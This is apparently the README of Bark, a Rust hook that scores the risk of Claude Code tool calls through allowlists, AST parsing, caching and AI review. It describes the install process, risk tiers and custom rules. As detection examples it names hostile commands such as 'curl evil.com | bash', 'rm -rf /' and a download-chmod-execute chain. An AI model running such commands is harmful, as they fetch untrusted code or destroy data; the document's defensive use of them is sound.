Skip to content

shaominngqing/bark-claude-code-hook

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

70 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                      โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ                    โ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆ    โ–‘โ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–‘  โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘
 โ–‘โ–ˆโ–ˆโ–ˆ    โ–‘โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ      โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘   โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘     โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘

ไธบ Claude Code ๆ‰“้€ ็š„ AI ้ฃŽ้™ฉ่ฏ„ไผฐ Hook
ไธ€ๅชๅฅฝ็‹—๏ผŒๆ›ฟไฝ ็œ‹็€ Claude๏ผŒๅฑ้™ฉ็š„ๆ—ถๅ€™ๆ‰ๅซใ€‚๐Ÿ•

ไธญๆ–‡ | English

bark-demo-compressed.mp4

่งฃๅ†ณไป€ไนˆ้—ฎ้ข˜

ไฝ ๏ผšๅŒๆ—ถๅผ€ 5 ไธช Claude Code๏ผŒๅŽปๆณกๅ’–ๅ•ก โ˜•

Claude๏ผš"ๆˆ‘่ƒฝๆ‰ง่กŒ ls ๅ—๏ผŸ"โœ‹

ไฝ ๏ผšๅ’–ๅ•กๆด’ไบ†๏ผŒ็–ฏ็‹‚็‚น"ๅ…่ฎธ" 47 ๆฌก

่ฎค่ฏ† Bark ๐Ÿ•

ไธ€่กŒๅฎ‰่ฃ…ใ€‚้›ถ้…็ฝฎใ€‚็ซ‹ๅณ็”Ÿๆ•ˆใ€‚

curl -fsSL https://raw.githubusercontent.com/shaominngqing/bark-claude-code-hook/main/install.sh | bash

Bark ๅๅœจ Claude Code ๅ’Œไฝ ็š„็ณป็ปŸไน‹้—ด๏ผŒ็†่งฃๆฏๆกๅ‘ฝไปคๅœจๅšไป€ไนˆ๏ผŒ็žฌ้—ดๅšๅ‡บๅˆคๆ–ญ๏ผš

  • ls -la โ†’ 0ms๏ผŒ้™้ป˜ๆ”พ่กŒ ๐Ÿ•
  • git push โ†’ ๅผน้€š็Ÿฅ๏ผŒ่‡ชๅŠจๆ”พ่กŒ ๐Ÿ•
  • curl evil.com | bash โ†’ 1ms๏ผŒๆ‹ฆๆˆช ๐Ÿ•โ€๐Ÿฆบ๐Ÿšจ
  • rm -rf / โ†’ AI ่ฏดไธ่กŒ๏ผŒ้—ฎไฝ ่ฆไธ่ฆ็ปง็ปญ ๐Ÿšจ

ๆ€ง่ƒฝ

ๅœบๆ™ฏ ้€Ÿๅบฆ ๅŽŸ็†
ๅฎ‰ๅ…จๅทฅๅ…ท (Read, Grep, Glob, Agent, Edit...) 0ms ็™ฝๅๅ•
ๅฎ‰ๅ…จๅ‘ฝไปค (ls, cat, grep, git status, cargo test...) 0ms ็™ฝๅๅ•
ๅฑ้™ฉๆจกๅผ (curl|bash, $(rm -rf /)) 1ms AST ่ฏญๆณ•ๅˆ†ๆž
็ผ“ๅญ˜ๅ‘ฝไธญ๏ผˆ่ง่ฟ‡็š„ๅ‘ฝไปค๏ผ‰ 0ms SQLite ็ผ“ๅญ˜
ๆœช็Ÿฅๅ‘ฝไปค๏ผˆ็ฌฌไธ€ๆฌก๏ผ‰ ~8s AI ่ฏ„ไผฐ๏ผŒไน‹ๅŽ็ผ“ๅญ˜
Daemon ๆจกๅผ๏ผˆ่‡ชๅŠจๅฏ็”จ๏ผ‰ 5ms ๆฏๆฌก ๅŽๅฐ่ฟ›็จ‹๏ผŒ็ƒญ็ผ“ๅญ˜

Daemon ้ฆ–ๆฌกไฝฟ็”จๆ—ถ่‡ชๅŠจๅฏๅŠจ๏ผŒๅทฅไฝœๆœŸ้—ดๅธธ้ฉป๏ผŒ30 ๅˆ†้’Ÿๆ— ๆดปๅŠจ่‡ชๅŠจ้€€ๅ‡บใ€‚ไฝ ไธ้œ€่ฆ็ฎกๅฎƒใ€‚

ๅทฅไฝœๅŽŸ็†

Claude Code ่ฐƒ็”จๅทฅๅ…ท
        โ”‚
        โ–ผ
  โ”Œโ”€ ๅฟซ้€Ÿ่ง„ๅˆ™ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  Read/Grep/Glob/Agent โ†’ ๆ”พ่กŒ                    โ”‚ 0ms
  โ”‚  ls/cat/grep/git status โ†’ ๆ”พ่กŒ                   โ”‚ 0ms
  โ”‚  ๆ™ฎ้€š็ผ–่พ‘ โ†’ ๆ”พ่กŒ๏ผŒ.env โ†’ ไบค็ป™ไธ‹ไธ€ๅฑ‚               โ”‚ 0ms
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ ่‡ชๅฎšไน‰่ง„ๅˆ™ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  ~/.claude/bark.toml ้‡Œไฝ ๅ†™็š„่ง„ๅˆ™               โ”‚ 0ms
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ ็ผ“ๅญ˜ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  ่ง่ฟ‡่ฟ™ๆกๅ‘ฝไปค๏ผŸ็›ดๆŽฅ็”จไธŠๆฌก็š„็ป“ๆžœ                    โ”‚ 0ms
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ AST ่ฏญๆณ•ๅˆ†ๆž โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  tree-sitter ่งฃๆž Bash ๅ‘ฝไปค็ป“ๆž„                  โ”‚ 1ms
  โ”‚  ่ฏ†ๅˆซ: curl|bash, $(rm -rf /), ่ทฏๅพ„็ฉฟ่ถŠ          โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ ๆ“ไฝœ้“พ่ฟฝ่ธช โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  curl โ†’ chmod +x โ†’ ๆ‰ง่กŒ = ๆ”ปๅ‡ปๆจกๅผ              โ”‚ 0ms
  โ”‚  ๆฏไธช็ช—ๅฃ็‹ฌ็ซ‹้š”็ฆป๏ผˆๅคš็ช—ๅฃไธไธฒๆ‰ฐ๏ผ‰                  โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ AI ่ฏ„ไผฐ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  ้—ฎ Claude ่ฟ™ๆกๅ‘ฝไปคๅฑไธๅฑ้™ฉ                       โ”‚ ~8s
  โ”‚  ็ป“ๆžœๆฐธไน…็ผ“ๅญ˜                                     โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
        โ”‚
        โ–ผ
  ๐ŸŸข ๆ”พ่กŒ  /  ๐ŸŸก ้€š็Ÿฅ + ๆ”พ่กŒ  /  ๐Ÿ”ด ้—ฎไฝ 

ๆฏๅฑ‚็Ÿญ่ทฏโ€”โ€”ๅฟซ้€Ÿ่ง„ๅˆ™ๆžๅฎš็š„๏ผŒๅŽ้ข้ƒฝไธ่ท‘ใ€‚

้ฃŽ้™ฉ็ญ‰็บง

๐ŸŸข ไฝŽ้ฃŽ้™ฉ โ€” ้™้ป˜ๆ”พ่กŒใ€‚ๅช่ฏปๅทฅๅ…ทใ€ๅฎ‰ๅ…จๅ‘ฝไปคใ€ๆž„ๅปบใ€ๆต‹่ฏ•ใ€‚

๐ŸŸก ไธญ้ฃŽ้™ฉ โ€” ๆกŒ้ข้€š็Ÿฅ + ่‡ชๅŠจๆ”พ่กŒใ€‚ๅฎ‰่ฃ…ไพ่ต–ใ€git pushใ€้…็ฝฎไฟฎๆ”นใ€‚

๐Ÿ”ด ้ซ˜้ฃŽ้™ฉ โ€” ้€š็Ÿฅๅธฆๅฃฐ้Ÿณ + Claude Code ็ปˆ็ซฏ้‡Œ็ญ‰ไฝ ็กฎ่ฎคใ€‚rm -rf /ใ€force pushใ€่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒใ€‚

Bark ้€š็ŸฅๅŠฉๆ‰‹ (macOS)

ๅฏ้€‰็š„่œๅ•ๆ ๅบ”็”จใ€‚ๅฎ‰่ฃ…ๆ—ถ้€‰ๆ‹ฉ yes๏ผŒๆˆ–ๅŽ็ปญ่ฟ่กŒ๏ผš

bark install-notifier

ๅŠŸ่ƒฝ๏ผš

  • ็ณป็ปŸๅŽŸ็”Ÿ้€š็Ÿฅ ๅธฆ Allow / Deny / Skip ๆŒ‰้’ฎ โ€” ็›ดๆŽฅๅœจ้€š็Ÿฅ้‡Œๆ“ไฝœ๏ผŒไธ็”จๅˆ‡ๅ›ž็ปˆ็ซฏ
  • ่œๅ•ๆ ๅบ”็”จ๏ผŒๅธฆ 4 ไธชๆ ‡็ญพ้กต๏ผš
    • ๐Ÿ“Š ไปช่กจๆฟ โ€” ๅฎžๆ—ถ็ปŸ่ฎกใ€้ฃŽ้™ฉๅˆ†ๅธƒ
    • ๐Ÿ“‹ ๆดปๅŠจๆ—ฅๅฟ— โ€” ๅฏๆŒ‰้ฃŽ้™ฉ็ญ‰็บง็ญ›้€‰
    • ๐Ÿ“ ่ง„ๅˆ™ โ€” ๆŸฅ็œ‹/็ผ–่พ‘่‡ชๅฎšไน‰ TOML ่ง„ๅˆ™
    • โš™๏ธ ่ฎพ็ฝฎ โ€” ๅผ€ๅ…ณ Hookใ€ไบฎ่‰ฒ/ๆš—่‰ฒ/่ทŸ้š็ณป็ปŸไธป้ข˜ใ€็ผ“ๅญ˜็ฎก็†
  • ็‚นๅ‡ป้€š็Ÿฅ ่‡ชๅŠจ่ทณ่ฝฌๅˆฐ็ปˆ็ซฏ็ช—ๅฃ
  • ่‡ชๅŠจๅ›ž้€€ โ€” 10 ็ง’ๅ†…ไธๆ“ไฝœ๏ผŒ่‡ชๅŠจๅ›ž้€€ๅˆฐ็ปˆ็ซฏ็กฎ่ฎค
  • ๅฎŒๅ…จๅฏ้€‰ โ€” ไธ่ฃ…ไนŸ่ƒฝๆญฃๅธธ็”จ๏ผˆ้€€ๅŒ–ๅˆฐ osascript ้€š็Ÿฅ๏ผ‰

ๅ…จๅนณๅฐๆ”ฏๆŒ

ๅนณๅฐ ๅฎ‰่ฃ… ้€š็Ÿฅ Daemon
macOS (Apple Silicon & Intel) curl | bash ๅŽŸ็”Ÿ + BarkNotifier ่‡ชๅŠจ
Linux (x86_64 & ARM64) curl | bash notify-send ่‡ชๅŠจ
Windows (x86_64) curl | bash PowerShell toast ไป… standalone

5 ไธชๅนณๅฐ้ข„็ผ–่ฏ‘ไบŒ่ฟ›ๅˆถ๏ผŒๅฎ‰่ฃ…่„šๆœฌ่‡ชๅŠจๆฃ€ๆต‹ใ€‚ไธ้œ€่ฆ่ฃ… Rustใ€‚

ๅ‘ฝไปค

bark status              # ๅœจ่ท‘ๅ—๏ผŸ
bark test <cmd>          # ๆต‹่ฏ•ไปปๆ„ๅ‘ฝไปค็š„้ฃŽ้™ฉ็ญ‰็บง
bark cache [clear]       # ๅฎƒ่ฎฐไฝไบ†ไป€ไนˆ
bark log [clear]         # ๅฎƒ็œ‹ๅˆฐไบ†ไป€ไนˆ
bark stats               # ๆ€ง่ƒฝไปช่กจๆฟ
bark rules [edit]        # ่‡ชๅฎšไน‰่ง„ๅˆ™
bark on / off            # ๅฏ็”จ / ็ฆ็”จ
bark install-notifier    # ๅฎ‰่ฃ…่œๅ•ๆ ้€š็ŸฅๅŠฉๆ‰‹ (macOS)
bark tui                 # ๅฎžๆ—ถ็ปˆ็ซฏๅคงๅฑ
bark uninstall           # ๅฎŒๅ…จๅธ่ฝฝ๏ผˆๅŒ…ๆ‹ฌ้€š็ŸฅๅŠฉๆ‰‹๏ผ‰

่‡ชๅฎšไน‰่ง„ๅˆ™

ๅˆ›ๅปบ ~/.claude/bark.toml๏ผš

[[rules]]
name = "็ฆๆญข-force-push"
risk = "high"
reason = "Force push ๆ˜ฏ็ ดๅๆ€งๆ“ไฝœ"

[rules.match]
tool = "Bash"
command = "git push *--force*"

[[rules]]
name = "make-ๆฒก้—ฎ้ข˜"
risk = "low"
reason = "Makefile ๆž„ๅปบๆ˜ฏๅฎ‰ๅ…จ็š„"

[rules.match]
tool = "Bash"
command = "make *"

ๅ’Œๅ…ถไป–ๆจกๅผ็š„ๅฏนๆฏ”

้ป˜่ฎคๆจกๅผ ๆŽฅๅ—็ผ–่พ‘ Auto Mode ่ทณ่ฟ‡ๆƒ้™ Bark
ไฝ“้ชŒ ๅ…จ้ƒจ่ฆ็กฎ่ฎค ็ผ–่พ‘ OK๏ผŒBash ่ฟ˜้—ฎ ๆจกๅผๅŒน้… YOLO AI ็†่งฃ
ไปทๆ ผ ๅ…่ดน ๅ…่ดน Team ่ฎกๅˆ’ ๅ…่ดน ๅ…่ดน
็ผ“ๅญ˜ โ€” โ€” โ€” โ€” SQLite, 24h
่‡ชๅฎšไน‰่ง„ๅˆ™ โ€” โ€” โ€” โ€” TOML DSL
้€š็Ÿฅ โ€” โ€” โ€” โ€” macOS/Linux/Windows
็ปŸ่ฎกๅ’Œๆ—ฅๅฟ— โ€” โ€” โ€” โ€” bark stats / bark log
ไปช่กจๆฟ โ€” โ€” โ€” โ€” bark tui

ๆžถๆž„

Bark ๆ˜ฏ็บฏ Rust ๅฎž็Žฐโ€”โ€”ไธๆ˜ฏ shell ่„šๆœฌๅฅ—ๅฃณใ€‚ๆฏไธ€ๅฑ‚้ƒฝๆ˜ฏๅŽŸ็”Ÿ็š„ใ€็ฑปๅž‹ๅฎ‰ๅ…จ็š„ใ€ๅฟซ็š„ใ€‚

ๅ…ณ้”ฎ่ฎพ่ฎก๏ผš

  • tree-sitter ่งฃๆž Bash โ€” ไธๆ˜ฏๆญฃๅˆ™๏ผŒๆ˜ฏ็œŸๆญฃ็š„ ASTใ€‚่ƒฝๆŠ“ไฝ curl x | bashใ€$(rm -rf /)ใ€ๅตŒๅฅ—ๅ‘ฝไปคๆ›ฟๆขใ€‚
  • 7 ๅฑ‚ๆตๆฐด็บฟ + ็Ÿญ่ทฏ่ฟ”ๅ›ž โ€” ๆฏไธ€ๅฑ‚่ƒฝๆžๅฎšๅฐฑ็›ดๆŽฅ่ฟ”ๅ›ž๏ผŒ็ปๅคงๅคšๆ•ฐ่ฐƒ็”จๆ นๆœฌๅˆฐไธไบ† AIใ€‚
  • Session ้š”็ฆป็š„ๆ“ไฝœ้“พ่ฟฝ่ธช โ€” ๆฃ€ๆต‹ๅคšๆญฅๆ”ปๅ‡ป๏ผˆcurl โ†’ chmod +x โ†’ ๆ‰ง่กŒ๏ผ‰๏ผŒๆฏไธช Claude Code ็ช—ๅฃ็‹ฌ็ซ‹๏ผŒไธไธฒๆ‰ฐใ€‚
  • Daemon ่‡ชๅŠจ็”Ÿๅ‘ฝๅ‘จๆœŸ โ€” ็ฌฌไธ€ๆฌก hook ่ฐƒ็”จๆ—ถ่‡ชๅŠจๅฏๅŠจ๏ผŒ็ƒญ็ผ“ๅญ˜ๅœจๅ†…ๅญ˜๏ผŒ30 ๅˆ†้’ŸๆฒกๆดปๅŠจ่‡ชๅŠจ้€€ๅ‡บใ€‚้›ถ้…็ฝฎใ€‚
  • crossterm ่ฏญไน‰ๅŒ–ๆ ทๅผ + NO_COLOR โ€” ไธ็กฌ็ผ–็  ANSI ่ฝฌไน‰็ ๏ผŒ็ฎก้“ๅ’Œๅ“‘็ปˆ็ซฏ่‡ชๅŠจ้™็บงใ€‚
  • $LANG ่‡ชๅŠจๅ›ฝ้™…ๅŒ– โ€” ไธญ่‹ฑๆ–‡ๅŒ่ฏญ๏ผŒๆ‰€ๆœ‰็”จๆˆทๅฏ่ง็š„ๆ–‡ๅญ—้ƒฝ่ตฐ็ฟป่ฏ‘ๅฑ‚ใ€‚

ไพ่ต–๏ผš clap, serde, tokio, rusqlite (bundled), tree-sitter, crossterm, ratatuiใ€‚่ฟ่กŒๆ—ถไธ้œ€่ฆ C ๅทฅๅ…ท้“พใ€‚

็Žฏๅขƒ่ฆๆฑ‚

  • ๅทฒๅฎ‰่ฃ… Claude Code
  • claude CLI ๅœจ PATH ไธญ

ไธ้œ€่ฆ jqใ€‚ไธ้œ€่ฆ Pythonใ€‚ไธ€ไธช 4MB ไบŒ่ฟ›ๅˆถใ€‚้›ถ้…็ฝฎใ€‚

ๅธ่ฝฝ

bark uninstall

ๅธธ่ง้—ฎ้ข˜

ไผšๆ‹–ๆ…ข Claude Code ๅ—๏ผŸ ๅฎ‰ๅ…จๅ‘ฝไปค 0msใ€‚็ผ“ๅญ˜ 0msใ€‚curl|bash 1msใ€‚ๅชๆœ‰ๆฒก่ง่ฟ‡็š„ๅ‘ฝไปค่ตฐ AI๏ผˆ~8s๏ผŒไน‹ๅŽๆฐธไน…็ผ“ๅญ˜๏ผ‰ใ€‚

ๆ‹ฆไฝไบ†ๆˆ‘ๆƒณๆ‰ง่กŒ็š„ๆ€ŽไนˆๅŠž๏ผŸ ้ซ˜้ฃŽ้™ฉไธๆ˜ฏๆ‹’็ป๏ผŒๆ˜ฏ้—ฎไฝ ่ฆไธ่ฆ็ปง็ปญใ€‚ไฝ ่ฏดไบ†็ฎ—ใ€‚

ๅคšไธช Claude Code ็ช—ๅฃ๏ผŸ ๆฏไธช็ช—ๅฃ็‹ฌ็ซ‹ session๏ผŒๆ“ไฝœ้“พ่ฟฝ่ธช้š”็ฆป๏ผŒไธไผšไธฒๆ‰ฐใ€‚

ๅ’Œ --dangerously-skip-permissions ๅ…ผๅฎนๅ—๏ผŸ ้‚ฃไธชๅ‚ๆ•ฐไผš็ฆ็”จๆ‰€ๆœ‰ Hook๏ผŒๅŒ…ๆ‹ฌ Barkใ€‚ไธๅปบ่ฎฎใ€‚

License

MIT